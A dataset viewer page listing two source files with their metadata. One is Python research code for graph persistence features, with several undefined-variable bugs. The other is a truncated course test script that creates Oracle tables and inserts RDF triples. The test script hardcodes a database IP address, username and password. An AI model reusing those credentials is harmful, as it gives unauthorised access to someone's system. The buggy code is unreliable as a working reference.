xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

7321a67d543f21370a3bddffda3d1f202de2e4dc

30,102

py

Python

utils/compute_k_ring_dexPer_network.py

minghao92/LocalPer

c940dce63ff2583f836d4718ce43023fad310c05

[ "MIT" ]

null

utils/compute_k_ring_dexPer_network.py

minghao92/LocalPer

c940dce63ff2583f836d4718ce43023fad310c05

[ "MIT" ]

null

utils/compute_k_ring_dexPer_network.py

minghao92/LocalPer

c940dce63ff2583f836d4718ce43023fad310c05

[ "MIT" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- import snap from multiprocessing import Pool import numpy as np import networkx as nx from utils import EH_pairs from utils import EH_pairs_1_ring from functools import partial def pick_node_compute_dexPer(Graph, k_ring, NId): dexPer0 = {} dexPer1 = {} [BfsTree_size, _, BfsTree_depth] = snap.GetSubTreeSz(Graph, NId, True, True) #print "Size %d, Depth %d" % (BfsTree_size, BfsTree_depth) CnCom = snap.TIntV() snap.GetNodeWcc(Graph, NId, CnCom) SubGraph = snap.GetSubGraph(Graph, CnCom) ############################################################################################################ # Isolated nodes if BfsTree_depth == 0: return dexPer0, dexPer1 ############################################################################################# else: heightVal = {} NodeVec = snap.TIntV() heightVal[NId] = 0 for dist in range (1, min(k_ring + 1, BfsTree_depth + 1)): snap.GetNodesAtHop(SubGraph, NId, dist, NodeVec, False) for item in NodeVec: heightVal[item] = dist Modified_Graph = snap.TUNGraph.New() New_Node = SubGraph.GetMxNId() for EI in SubGraph.Edges(): Src_idx = EI.GetSrcNId() Dst_idx = EI.GetDstNId() Src_dist = heightVal.get(Src_idx, -1) Dst_dist = heightVal.get(Dst_idx, -1) if not Modified_Graph.IsNode(Src_idx): Modified_Graph.AddNode(Src_idx) if not Modified_Graph.IsNode(Dst_idx): Modified_Graph.AddNode(Dst_idx) if Src_dist >= 0 and Dst_dist >= 0: if Src_dist == Dst_dist: #print(New_Nodes) Modified_Graph.AddNode(New_Node) Modified_Graph.AddEdge(EI.GetSrcNId(), New_Node) Modified_Graph.AddEdge(EI.GetDstNId(), New_Node) heightVal[New_Node] = Src_dist + 0.5 New_Node += 1 else: Modified_Graph.AddEdge(EI.GetSrcNId(), EI.GetDstNId()) EH_computation = EH_pairs(Modified_Graph, heightVal) return EH_computation.get_SH0(), EH_computation.get_EH1() def pick_node_compute_dexPer0(Graph, k_ring, NId): dexPer0 = {} [BfsTree_size, _, BfsTree_depth] = snap.GetSubTreeSz(Graph, NId, True, True) #print "Size %d, Depth %d" % (BfsTree_size, BfsTree_depth) CnCom = snap.TIntV() snap.GetNodeWcc(Graph, NId, CnCom) SubGraph = snap.GetSubGraph(Graph, CnCom) ############################################################################################################ # Isolated nodes if BfsTree_depth == 0: return dexPer0 ############################################################################################# else: heightVal = {} NodeVec = snap.TIntV() heightVal[NId] = 0 for dist in range (1, min(k_ring + 1, BfsTree_depth + 1)): snap.GetNodesAtHop(SubGraph, NId, dist, NodeVec, False) for item in NodeVec: heightVal[item] = dist Modified_Graph = snap.TUNGraph.New() New_Node = SubGraph.GetMxNId() for EI in SubGraph.Edges(): Src_idx = EI.GetSrcNId() Dst_idx = EI.GetDstNId() Src_dist = heightVal.get(Src_idx, -1) Dst_dist = heightVal.get(Dst_idx, -1) if not Modified_Graph.IsNode(Src_idx): Modified_Graph.AddNode(Src_idx) if not Modified_Graph.IsNode(Dst_idx): Modified_Graph.AddNode(Dst_idx) if Src_dist >= 0 and Dst_dist >= 0: if Src_dist == Dst_dist: #print(New_Nodes) Modified_Graph.AddNode(New_Node) Modified_Graph.AddEdge(EI.GetSrcNId(), New_Node) Modified_Graph.AddEdge(EI.GetDstNId(), New_Node) heightVal[New_Node] = Src_dist + 0.5 New_Node += 1 else: Modified_Graph.AddEdge(EI.GetSrcNId(), EI.GetDstNId()) EH_computation = EH_pairs(Modified_Graph, heightVal) return EH_computation.get_SH0() def pick_node_compute_RW_dexPer(Graph, num_steps, sample_rate, NId, max_num_walks_per_node): dexPer0 = {} dexPer1 = {} nbrs = Graph.GetNI(NId).GetDeg() ########################################################################################################### # Isolated node if nbrs == 0: return dexPer0, dexPer1 ########################################################################################################### num_walks = min(int(np.ceil(nbrs * sample_rate)), max_num_walks_per_node) # print(num_walks) visited_nodes = snap.TIntV() visited_nodes.Add(NId) #print("NodeID: " + str(NId)) node = NId for j in range(num_steps): NodeVec = snap.TIntV() snap.GetNodesAtHop(Graph, node, 1, NodeVec, False) new_node_id = np.random.choice(NodeVec, 1).item() if new_node_id not in RW_Nodes: RW_Nodes.Add(new_node_id) node = new_node_id SubGraph = snap.GetSubGraph(Graph, visited_nodes) [BfsTree_size, _, BfsTree_depth] = snap.GetSubTreeSz(SubGraph, NId, True, True) ############################################################################################################ # Isolated nodes if nbrs == 0: return dexPer0, dexPer1 ############################################################################################# else: heightVal = {} NodeVec = snap.TIntV() heightVal[NId] = 0 for dist in range (1, BfsTree_depth + 1): snap.GetNodesAtHop(SubGraph, NId, dist, NodeVec, False) for item in NodeVec: heightVal[item] = dist Modified_Graph = snap.TUNGraph.New() New_Node = SubGraph.GetMxNId() for EI in SubGraph.Edges(): Src_idx = EI.GetSrcNId() Dst_idx = EI.GetDstNId() Src_dist = heightVal.get(Src_idx, -1) Dst_dist = heightVal.get(Dst_idx, -1) if not Modified_Graph.IsNode(Src_idx): Modified_Graph.AddNode(Src_idx) if not Modified_Graph.IsNode(Dst_idx): Modified_Graph.AddNode(Dst_idx) if Src_dist >= 0 and Dst_dist >= 0: if Src_dist == Dst_dist: #print(New_Nodes) Modified_Graph.AddNode(New_Node) Modified_Graph.AddEdge(EI.GetSrcNId(), New_Node) Modified_Graph.AddEdge(EI.GetDstNId(), New_Node) heightVal[New_Node] = Src_dist + 0.5 New_Node += 1 else: Modified_Graph.AddEdge(EI.GetSrcNId(), EI.GetDstNId()) EH_computation = EH_pairs(Modified_Graph, heightVal) return EH_computation.get_SH0(), EH_computation.get_EH1() def pick_node_compute_RW_dexPer_in_kring(Graph, num_steps, sample_rate, k_ring, NId): dexPer0 = {} dexPer1 = {} nbrs = Graph.GetNI(NId).GetDeg() ########################################################################################################### # Isolated node if nbrs == 0: return SH0, EH1 ########################################################################################################### num_walks = int(np.ceil(nbrs * sample_rate)) visited_nodes = snap.TIntV() visited_nodes.Add(NId) #print("NodeID: " + str(NId)) NodeVec = snap.TIntV() [BfsTree_size, _, BfsTree_depth] = snap.GetSubTreeSz(Graph, NId, True, True) for dist in range (1, min(k_ring + 1, BfsTree_depth + 1)): snap.GetNodesAtHop(Graph, NId, dist, NodeVec, False) for item in NodeVec: visited_nodes.Add(item) SubGraph = snap.GetSubGraph(Graph, visited_nodes) RW_Nodes = snap.TIntV() RW_Nodes.Add(NId) node = NId for j in range(num_steps): NodeVec = snap.TIntV() snap.GetNodesAtHop(Graph, node, 1, NodeVec, False) new_node_id = np.random.choice(NodeVec, 1).item() if new_node_id not in RW_Nodes: RW_Nodes.Add(new_node_id) node = new_node_id RW_Graph = snap.GetSubGraph(SubGraph, RW_Nodes) ############################################################################################################ heightVal = {} NodeVec = snap.TIntV() heightVal[NId] = 0 for dist in range (1, min(k_ring + 1, BfsTree_depth + 1)): snap.GetNodesAtHop(RW_Graph, NId, dist, NodeVec, False) for item in NodeVec: heightVal[item] = dist Modified_Graph = snap.TUNGraph.New() New_Node = RW_Graph.GetMxNId() for EI in RW_Graph.Edges(): Src_idx = EI.GetSrcNId() Dst_idx = EI.GetDstNId() Src_dist = heightVal.get(Src_idx, -1) Dst_dist = heightVal.get(Dst_idx, -1) if not Modified_Graph.IsNode(Src_idx): Modified_Graph.AddNode(Src_idx) if not Modified_Graph.IsNode(Dst_idx): Modified_Graph.AddNode(Dst_idx) if Src_dist >= 0 and Dst_dist >= 0: if Src_dist == Dst_dist: #print(New_Nodes) Modified_Graph.AddNode(New_Node) Modified_Graph.AddEdge(EI.GetSrcNId(), New_Node) Modified_Graph.AddEdge(EI.GetDstNId(), New_Node) heightVal[New_Node] = Src_dist + 0.5 New_Node += 1 else: Modified_Graph.AddEdge(EI.GetSrcNId(), EI.GetDstNId()) EH_computation = EH_pairs(Modified_Graph, heightVal) return EH_computation.get_SH0(), EH_computation.get_EH1() def pick_node_compute_RW_dexPer_steps(Graph, num_steps, NId): dexPer0 = {} dexPer1 = {} nbrs = Graph.GetNI(NId).GetDeg() ########################################################################################################### # Isolated node if nbrs == 0: return dexPer0, dexPer1 ########################################################################################################### [BfsTree_size, _, BfsTree_depth] = snap.GetSubTreeSz(Graph, NId, True, True) RW_Nodes = snap.TIntV() RW_Nodes.Add(NId) node = NId for j in range(num_steps): NodeVec = snap.TIntV() snap.GetNodesAtHop(Graph, node, 1, NodeVec, False) new_node_id = np.random.choice(NodeVec, 1).item() if new_node_id not in RW_Nodes: RW_Nodes.Add(new_node_id) node = new_node_id RW_Graph = snap.GetSubGraph(Graph, RW_Nodes) ############################################################################################# heightVal = {} NodeVec = snap.TIntV() heightVal[NId] = 0 for dist in range (1, BfsTree_depth + 1): snap.GetNodesAtHop(RW_Graph, NId, dist, NodeVec, False) for item in NodeVec: heightVal[item] = dist Modified_Graph = snap.TUNGraph.New() New_Node = RW_Graph.GetMxNId() for EI in RW_Graph.Edges(): Src_idx = EI.GetSrcNId() Dst_idx = EI.GetDstNId() Src_dist = heightVal.get(Src_idx, -1) Dst_dist = heightVal.get(Dst_idx, -1) if not Modified_Graph.IsNode(Src_idx): Modified_Graph.AddNode(Src_idx) if not Modified_Graph.IsNode(Dst_idx): Modified_Graph.AddNode(Dst_idx) if Src_dist >= 0 and Dst_dist >= 0: if Src_dist == Dst_dist: #print(New_Nodes) Modified_Graph.AddNode(New_Node) Modified_Graph.AddEdge(EI.GetSrcNId(), New_Node) Modified_Graph.AddEdge(EI.GetDstNId(), New_Node) heightVal[New_Node] = Src_dist + 0.5 New_Node += 1 else: Modified_Graph.AddEdge(EI.GetSrcNId(), EI.GetDstNId()) EH_computation = EH_pairs(Modified_Graph, heightVal) return EH_computation.get_SH0(), EH_computation.get_EH1() def pick_node_compute_RW_dexPer_steps_flyback(Graph, num_steps, NId, flyback_prob=0.15): dexPer0 = {} dexPer1 = {} nbrs = Graph.GetNI(NId).GetDeg() ########################################################################################################### # Isolated node if nbrs == 0: return dexPer0, dexPer1 ########################################################################################################### [BfsTree_size, _, BfsTree_depth] = snap.GetSubTreeSz(Graph, NId, True, True) RW_Nodes = snap.TIntV() RW_Nodes.Add(NId) # node = Graph.GetNI(NId) node = NId for j in range(num_steps): if np.random.uniform(size=1) <= flyback_prob: node = NId j -= 1 else: NodeVec = snap.TIntV() snap.GetNodesAtHop(Graph, node, 1, NodeVec, False) new_node_id = np.random.choice(NodeVec, 1).item() if new_node_id not in RW_Nodes: RW_Nodes.Add(new_node_id) node = new_node_id RW_Graph = snap.GetSubGraph(Graph, RW_Nodes) [BfsTree_size, _, BfsTree_depth] = snap.GetSubTreeSz(RW_Graph, NId, True, True) ############################################################################################################ heightVal = {} NodeVec = snap.TIntV() heightVal[NId] = 0 for dist in range (1, BfsTree_depth + 1): snap.GetNodesAtHop(RW_Graph, NId, dist, NodeVec, False) for item in NodeVec: heightVal[item] = dist Modified_Graph = snap.TUNGraph.New() New_Node = RW_Graph.GetMxNId() for EI in RW_Graph.Edges(): Src_idx = EI.GetSrcNId() Dst_idx = EI.GetDstNId() Src_dist = heightVal.get(Src_idx, -1) Dst_dist = heightVal.get(Dst_idx, -1) if not Modified_Graph.IsNode(Src_idx): Modified_Graph.AddNode(Src_idx) if not Modified_Graph.IsNode(Dst_idx): Modified_Graph.AddNode(Dst_idx) if Src_dist >= 0 and Dst_dist >= 0: if Src_dist == Dst_dist: #print(New_Nodes) Modified_Graph.AddNode(New_Node) Modified_Graph.AddEdge(EI.GetSrcNId(), New_Node) Modified_Graph.AddEdge(EI.GetDstNId(), New_Node) heightVal[New_Node] = Src_dist + 0.5 New_Node += 1 else: Modified_Graph.AddEdge(EI.GetSrcNId(), EI.GetDstNId()) EH_computation = EH_pairs(Modified_Graph, heightVal) return EH_computation.get_SH0(), EH_computation.get_EH1() def dexPer_of_a_vertex(filename, k_ring, NId): Graph = snap.LoadEdgeList(snap.PUNGraph, filename, 0, 1, '\t') dexPer0, dexPer1 = pick_node_compute_dexPer(Graph, k_ring, NId) return [dexPer0, dexPer1] def RW_dexPer_of_a_vertex(filename, num_steps, rate, NId): Graph = snap.LoadEdgeList(snap.PUNGraph, filename, 0, 1, '\t') SH0, EH1 = pick_node_compute_RW_dexPer(Graph, num_steps, rate, NId) return [dexPer0, dexPer1] def RW_dexPer_of_a_vertex_in_kring(filename, num_steps, rate, k_ring, NId): Graph = snap.LoadEdgeList(snap.PUNGraph, filename, 0, 1, '\t') dexPer0, dexPer1 = pick_node_compute_RW_dexPer_in_kring(Graph, num_steps, rate, k_ring, NId) return [dexPer0, dexPer1] def RW_dexPer_of_a_vertex_steps(filename, num_steps, NId): Graph = snap.LoadEdgeList(snap.PUNGraph, filename, 0, 1, '\t') dexPer0, dexPer1 = pick_node_compute_RW_dexPer_steps(Graph, num_steps, NId) return [dexPer0, dexPer1] ############################################################################################## def dexPer_of_all_vertices(Graph, k_ring): dexPer0_all = [[]] * Graph.GetNodes() dexPer1_all = [[]] * Graph.GetNodes() i = 0 for NI in Graph.Nodes(): NI_Id = NI.GetId() if k_ring == 1: EH_computation = EH_pairs_1_ring(Graph, NI_Id) dexPer0 = EH_computation.get_SH0() dexPer1 = EH_computation.get_EH1() else: dexPer0, dexPer1 = pick_node_compute_dexPer(Graph, k_ring, NI_Id) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 i += 1 return dexPer0_all, dexPer1_all def dexPer_of_all_vertices_dir(filename, k_ring): Graph = snap.LoadEdgeList(snap.PUNGraph, filename, 0, 1, '\t') dexPer0_all, dexPer1_all = dexPer_of_all_vertices(Graph, k_ring) return dexPer0_all, dexPer1_all def dexPer0_of_all_vertices(Graph, k_ring): dexPer0_all = [[]] * Graph.GetNodes() i = 0 for NI in Graph.Nodes(): NI_Id = NI.GetId() if k_ring == 1: EH_computation = EH_pairs_1_ring(Graph, NI_Id) dexPer0 = EH_computation.get_SH0() else: dexPer0 = pick_node_compute_dexPer0(Graph, k_ring, NI_Id) dexPer0_all[i] = dexPer0 i += 1 return dexPer0_all def dexPer_of_vertices_with_large_degree(Graph, k_ring, num_nodes): num_nodes = min(Graph.GetNodes(), num_nodes) dexPer0_all = [[]] * num_nodes dexPer1_all = [[]] * num_nodes i = 0 degree_seq = snap.TIntV() snap.GetDegSeqV(Graph, degree_seq) degree_seq.Sort() degs = [item for item in degree_seq] threshold = degs[-num_nodes] for NI in Graph.Nodes(): if NI.GetDeg() >= threshold and i < num_nodes: NI_Id = NI.GetId() if k_ring == 1: EH_computation = EH_pairs_1_ring(Graph, NI_Id) dexPer0 = EH_computation.get_SH0() dexPer1 = EH_computation.get_EH1() else: dexPer0, dexPer1 = pick_node_compute_dexPer(Graph, k_ring, NI_Id) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 i += 1 return dexPer0_all, dexPer1_all def dexPer_of_vertices_with_large_degree_percentage(Graph, k_ring, top_percentage): num_nodes = int(Graph.GetNodes() * top_percentage) dexPer0_all = [[]] * num_nodes dexPer1_all = [[]] * num_nodes i = 0 degree_seq = snap.TIntV() snap.GetDegSeqV(Graph, degree_seq) degree_seq.Sort() degs = [item for item in degree_seq] threshold = degs[-num_nodes] for NI in Graph.Nodes(): if NI.GetDeg() >= threshold and i < num_nodes: NI_Id = NI.GetId() if k_ring == 1: EH_computation = EH_pairs_1_ring(Graph, NI_Id) dexPer0 = EH_computation.get_SH0() dexPer1 = EH_computation.get_EH1() else: dexPer0, dexPer1 = pick_node_compute_dexPer(Graph, k_ring, NI_Id) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 i += 1 return dexPer0_all, dexPer1_all def dexPer_of_vertices_with_large_eigenvector_centrality(Graph, k_ring, num_nodes): num_nodes = min(Graph.GetNodes(), num_nodes) dexPer0_all = [[]] * num_nodes dexPer1_all = [[]] * num_nodes i = 0 eps = 1e-7 eigen_seq = snap.TIntFltH() snap.GetEigenVectorCentr(Graph, eigen_seq) eigens = [eigen_seq[item] for item in eigen_seq] eigens = sorted(eigens) threshold = eigens[-num_nodes] for NI in Graph.Nodes(): NI_Id = NI.GetId() if eigen_seq[NI_Id] >= (threshold - eps) and i < num_nodes: if k_ring == 1: EH_computation = EH_pairs_1_ring(Graph, NI_Id) dexPer0 = EH_computation.get_SH0() dexPer1 = EH_computation.get_EH1() else: dexPer0, dexPer1 = pick_node_compute_EH(Graph, k_ring, NI_Id) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 i += 1 return dexPer0_all, dexPer1_all def dexPer_of_vertices_with_large_eigenvector_centrality_percentage(Graph, k_ring, top_percentage): num_nodes = int(Graph.GetNodes() * top_percentage) dexPer0_all = [[]] * num_nodes dexPer1_all = [[]] * num_nodes i = 0 eps = 1e-7 eigen_seq = snap.TIntFltH() snap.GetEigenVectorCentr(Graph, eigen_seq) eigens = [eigen_seq[item] for item in eigen_seq] eigens = sorted(eigens) threshold = eigens[-num_nodes] for NI in Graph.Nodes(): NI_Id = NI.GetId() if eigen_seq[NI_Id] >= (threshold - eps) and i < num_nodes: if k_ring == 1: EH_computation = EH_pairs_1_ring(Graph, NI_Id) dexPer0 = EH_computation.get_SH0() dexPer1 = EH_computation.get_EH1() else: dexPer0, dexPer1 = pick_node_compute_EH(Graph, k_ring, NI_Id) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 i += 1 return dexPer0_all, dexPer1_all def dexPer_of_all_vertices_sample(Graph, k_ring, sample_rate): dexPer0_all = [] dexPer1_all = [] Rnd = snap.TRnd(42) Rnd.Randomize() for i in range(int(np.ceil(Graph.GetNodes() * sample_rate))): dexPer0, dexPer1 = pick_node_compute_dexPer(Graph, k_ring, Graph.GetRndNId(Rnd)) dexPer0_all.append(dexPer0) dexPer1_all.append(dexPer1) return dexPer0_all, dexPer1_all def RW_dexPer_of_all_vertices(Graph, num_steps, rate): dexPer0_all = [[]] * Graph.GetNodes() dexPer1_all = [[]] * Graph.GetNodes() i = 0 for NI in Graph.Nodes(): NI_Id = NI.GetId() dexPer0, dexPer1 = pick_node_compute_RW_dexPer(Graph, num_steps, rate, NI_Id) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 i += 1 return dexPer0_all, dexPer1_all def RW_dexPer_of_all_vertices_in_kring(Graph, num_steps, rate, k_ring): dexPer0_all = [] dexPer1_all = [] for NI in Graph.Nodes(): NI_Id = NI.GetId() dexPer0, dexPer1 = pick_node_compute_RW_dexPer_in_kring(Graph, num_steps, rate, k_ring, NI_Id) dexPer0_all.append(dexPer0) dexPer1_all.append(dexPer1) return dexPer0_all, dexPer1_all def RW_dexPer_of_all_vertices_steps(Graph, num_steps): dexPer0_all = [[]] * Graph.GetNodes() dexPer1_all = [[]] * Graph.GetNodes() i = 0 for NI in Graph.Nodes(): NI_Id = NI.GetId() dexPer0, dexPer1 = pick_node_compute_RW_dexPer_steps(Graph, num_steps, NI_Id) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 i += 1 return dexPer0_all, dexPer1_all def RW_dexPer_of_all_vertices_steps_flyback(Graph, num_steps, flyback_prob=0.15): dexPer0_all = [[]] * Graph.GetNodes() dexPer1_all = [[]] * Graph.GetNodes() i = 0 for NI in Graph.Nodes(): NI_Id = NI.GetId() dexPer0, dexPer1 = pick_node_compute_RW_dexPer_steps_flyback(Graph, num_steps, NI_Id, flyback_prob=flyback_prob) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 i += 1 return dexPer0_all, dexPer1_all def RW_dexPer_of_all_vertices_in_kring_sample(Graph, num_steps, rate, k_ring, sample_rate): sample_size = int(np.ceil(Graph.GetNodes() * sample_rate)) dexPer0_all = [[]] * sample_size dexPer1_all = [[]] * sample_size Rnd = snap.TRnd(42) Rnd.Randomize() for i in range(sample_size): dexPer0, dexPer1 = pick_node_compute_RW_dexPer_in_kring(Graph, num_steps, rate, k_ring, Graph.GetRndNId(Rnd)) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 return dexPer0_all, dexPer1_all def RW_dexPer_of_all_vertices_in_kring_fixed_samplesize(Graph, num_steps, rate, k_ring, sample_size): dexPer0_all = [[]] * sample_size dexPer1_all = [[]] * sample_size Rnd = snap.TRnd(42) Rnd.Randomize() for i in range(sample_size): dexPer0, dexPer1 = pick_node_compute_RW_dexPer_in_kring(Graph, num_steps, rate, k_ring, Graph.GetRndNId(Rnd)) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 return dexPer0_all, dexPer1_all def RW_dexPer_of_all_vertices_steps_sample(Graph, num_steps, sample_rate): sample_size = int(np.ceil(Graph.GetNodes() * sample_rate)) dexPer0_all = [[]] * sample_size dexPer1_all = [[]] * sample_size Rnd = snap.TRnd(42) Rnd.Randomize() for i in range(sample_size): dexPer0, dexPer1 = pick_node_compute_RW_dexPer_steps(Graph, num_steps, Graph.GetRndNId(Rnd)) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 return dexPer0_all, dexPer1_all def RW_dexPer_of_all_vertices_steps_fixed_samplesize(Graph, num_steps, sample_size): dexPer0_all = [[]] * sample_size dexPer1_all = [[]] * sample_size Rnd = snap.TRnd(42) Rnd.Randomize() for i in range(sample_size): dexPer0, dexPer1 = pick_node_compute_RW_dexPer_steps(Graph, num_steps, Graph.GetRndNId(Rnd)) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 return dexPer0_all, dexPer1_all def RW_dexPer_of_all_vertices_steps_fixed_samplesize_flyback(Graph, num_steps, sample_size, flyback_prob): dexPer0_all = [[]] * sample_size dexPer1_all = [[]] * sample_size Rnd = snap.TRnd(42) Rnd.Randomize() for i in range(sample_size): dexPer0, dexPer1 = pick_node_compute_RW_dexPer_steps_flyback(Graph, num_steps, Graph.GetRndNId(Rnd), flyback_prob=flyback_prob) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 return dexPer0_all, dexPer1_all def dexPer_of_all_vertices_fixed_samplesize(Graph, k_ring, sample_size): dexPer0_all = [[]] * sample_size dexPer1_all = [[]] * sample_size Rnd = snap.TRnd(42) Rnd.Randomize() for i in range(sample_size): dexPer0, dexPer1 = pick_node_compute_dexPer(Graph, k_ring, Graph.GetRndNId(Rnd)) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 return dexPer0_all, dexPer1_all def RW_dexPer_of_all_vertices_steps_sample_node_rate(Graph, num_steps, sample_rate, node_rate, max_num_walks_per_node): Rnd = snap.TRnd(42) Rnd.Randomize() sample_size = int(np.ceil(Graph.GetNodes() * sample_rate)) dexPer0_all = [[]] * sample_size dexPer1_all = [[]] * sample_size for i in range(sample_size): dexPer0, dexPer1 = pick_node_compute_RW_dexPer(Graph, num_steps, node_rate, Graph.GetRndNId(Rnd), max_num_walks_per_node) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 return dexPer0_all, dexPer1_all def RW_dexPer_of_all_vertices_steps_fixed_samplesize_node_rate(Graph, num_steps, sample_size, node_rate, max_num_walks_per_node): dexPer0_all = [[]] * sample_size dexPer1_all = [[]] * sample_size Rnd = snap.TRnd(42) Rnd.Randomize() for i in range(sample_size): dexPer0, dexPer1 = pick_node_compute_RW_dexPer(Graph, num_steps, node_rate, Graph.GetRndNId(Rnd), max_num_walks_per_node) dexPer0_all[i] = dexPer0 dexPer1_all[i] = dexPer1 return dexPer0_all, dexPer1_all def output_dexPer_of_a_vertex(Graph, k_ring, D0_output, D1_output, NId): dexPer0, dexPer1 = pick_node_compute_dexPer(Graph, k_ring, NId) D0_k_ring_extended = open(D0_output, 'a') D1_k_ring_extended = open(D1_output, 'a') D0_k_ring_extended.write("%d \t %s\n" % (NId, dexPer0)) dexPer0 = None D0_k_ring_extended.close() D1_k_ring_extended.write("%d \t %s\n" % (NId, dexPer1)) dexPer1 = None D1_k_ring_extended.close() def dexPer_of_all_vertices_parallel(filename, k_ring): Graph = snap.LoadEdgeList(snap.PUNGraph, filename, 0, 1, '\t') Nodes = [] for NI in Graph.Nodes(): NI_Id = NI.GetId() Nodes.append(NI_Id) pool = Pool(8) func = partial(dexPer_of_a_vertex, filename, k_ring) dexPer_all = pool.map(func, Nodes) pool.close() pool.join() return [ item[0] for item in dexPer_all], [ item[1] for item in dexPer_all] def RW_dexPer_of_all_vertices_parallel(filename, num_steps, rate): Graph = snap.LoadEdgeList(snap.PUNGraph, filename, 0, 1, '\t') Nodes = [] for NI in Graph.Nodes(): NI_Id = NI.GetId() Nodes.append(NI_Id) pool = Pool(8) func = partial(RW_dexPer_of_a_vertex, filename, num_steps, rate) dexPer_all = pool.map(func, Nodes) pool.close() pool.join() return [ item[0] for item in dexPer_all], [ item[1] for item in dexPer_all] def RW_dexPer_of_all_vertices_in_kring_parallel(filename, num_steps, rate, k_ring): Graph = snap.LoadEdgeList(snap.PUNGraph, filename, 0, 1, '\t') Nodes = [] for NI in Graph.Nodes(): NI_Id = NI.GetId() Nodes.append(NI_Id) pool = Pool(8) func = partial(RW_dexPer_of_a_vertex_in_kring, filename, num_steps, rate, k_ring) dexPer_all = pool.map(func, Nodes) pool.close() pool.join() return [ item[0] for item in dexPer_all], [ item[1] for item in dexPer_all] def RW_dexPer_of_all_vertices_steps_parallel(filename, num_steps): Graph = snap.LoadEdgeList(snap.PUNGraph, filename, 0, 1, '\t') Nodes = [] for NI in Graph.Nodes(): NI_Id = NI.GetId() Nodes.append(NI_Id) pool = Pool(8) func = partial(RW_dexPer_of_a_vertex_steps, filename, num_steps) dexPer_all = pool.map(func, Nodes) pool.close() pool.join() return [ item[0] for item in dexPer_all], [ item[1] for item in dexPer_all]

36.26747

135

0.572553

3,660

30,102

4.410383

0.045082

0.048321

0.027878

0.029984

0.956015

0.939351

0.917173

0.898959

0.888304

0.87071

0

0.020742

0.271278

30,102

829

136

36.311218

0.715126

0.015115

0

0.875399

0

0.001441

0

1

0.055911

false

0

0.011182

0

0.132588

0

null

0

1

0

1

0

null

0

7

7351006eeecd2d5905c7afc937fbaf53aa95984f

7,556

py

Python

tests/FIBO1.py

nelmiux/CS347-Data_Management

1e9d87097b5a373f9312b0d6b413198e495fd6c0

[ "CNRI-Jython" ]

null

tests/FIBO1.py

nelmiux/CS347-Data_Management

1e9d87097b5a373f9312b0d6b413198e495fd6c0

[ "CNRI-Jython" ]

null

tests/FIBO1.py

nelmiux/CS347-Data_Management

1e9d87097b5a373f9312b0d6b413198e495fd6c0

[ "CNRI-Jython" ]

null

conn = connectTo 'jdbc:oracle:thin:@128.83.138.158:1521:orcl' 'C##cs347_prof' 'orcl_prof' 'rdf_mode' 'FIBO1'; conn1 = connectTo 'jdbc:oracle:thin:@128.83.138.158:1521:orcl' 'C##cs347_prof' 'orcl_prof' 'native_mode' 'FIBO1'; SQL on conn """ create table Thing(thing_id integer, name varchar(255)) """ SQL on conn """ create table EquityOwner(equity_owner_id integer, name varchar(255)) """ SQL on conn """ create table Role(role_id integer, name varchar(255)) """ SQL on conn """ create table Equity(equity_id integer, name varchar(255)) """ SQL on conn """ create table StockholderEquity(sh_equity_id integer, name varchar(255)) """ SQL on conn """ create table FormallyConstitutedOrganizaiton(fco_id integer, name varchar(255)) """ SQL on conn """ create table BodyCorporation(bc_id integer, name varchar(255)) """ SQL on conn """ create table BodyCorporationWithEquity(bcwe_id integer, name varchar(255)) """ SQL on conn """ create table IncorporatedCompany(ic_id integer, name varchar(255)) """ SQL on conn1 """ INSERT INTO FIBO1_C##CS347_PROF_DATA VALUES ( FIBO1_C##CS347_PROF_SQNC.nextval, SDO_RDF_TRIPLE_S('FIBO1_C##CS347_PROF:<http://www.example.org/people.owl>', 'http://www.example.org/people.owl#BodyCorporation', 'http://www.w3.org/2000/01/rdf-schema#subClassOf', 'http://www.example.org/people.owl#FormallyConstitutedOrganizaiton')); """ SQL on conn1 """ INSERT INTO FIBO1_C##CS347_PROF_DATA VALUES ( FIBO1_C##CS347_PROF_SQNC.nextval, SDO_RDF_TRIPLE_S('FIBO1_C##CS347_PROF:<http://www.example.org/people.owl>', 'http://www.example.org/people.owl#BodyCorporationWithEquity', 'http://www.w3.org/2000/01/rdf-schema#subClassOf', 'http://www.example.org/people.owl#BodyCorporation')); """ SQL on conn1 """ INSERT INTO FIBO1_C##CS347_PROF_DATA VALUES ( FIBO1_C##CS347_PROF_SQNC.nextval, SDO_RDF_TRIPLE_S('FIBO1_C##CS347_PROF:<http://www.example.org/people.owl>', 'http://www.example.org/people.owl#IncorporatedCompany', 'http://www.w3.org/2000/01/rdf-schema#subClassOf', 'http://www.example.org/people.owl#BodyCorporationWithEquity')); """ SQL on conn """ create table fibo_be_oac_cown_02(fibo2_id integer, name varchar(255)) """ SQL on conn """ create table ConstitutionalOwner(co_id integer) """ SQL on conn """ create table TransferableContractHolder(tch_id integer, name varchar(255)) """ SQL on conn """ create table Shareholder(shareholder_id integer, name varchar(255)) """ SQL on conn """ create table PublicShareholder(psh_id integer, name varchar(255)) """ SQL on conn """ create table RegisteredShareholder(rsh_id integer, name varchar(255)) """ SQL on conn """ create table BeneficialOwner(bo_id integer, name varchar(255)) """ SQL on conn """ create table fibo_be_oac_cown_01(fibo1_id integer, name varchar(255)) """ SQL on conn """ create table FinancialAsset(fa_id integer, name varchar(255)) """ SQL on conn """ create table Sharholding(shing_id integer, name varchar(255)) """ SQL on conn """ create table Zipcode(zipcode_id integer, name varchar(255)) """ SQL on conn """ insert into FormallyConstitutedOrganizaiton(zipcode) values (rel_zipcode) """ SQL on conn """ insert into 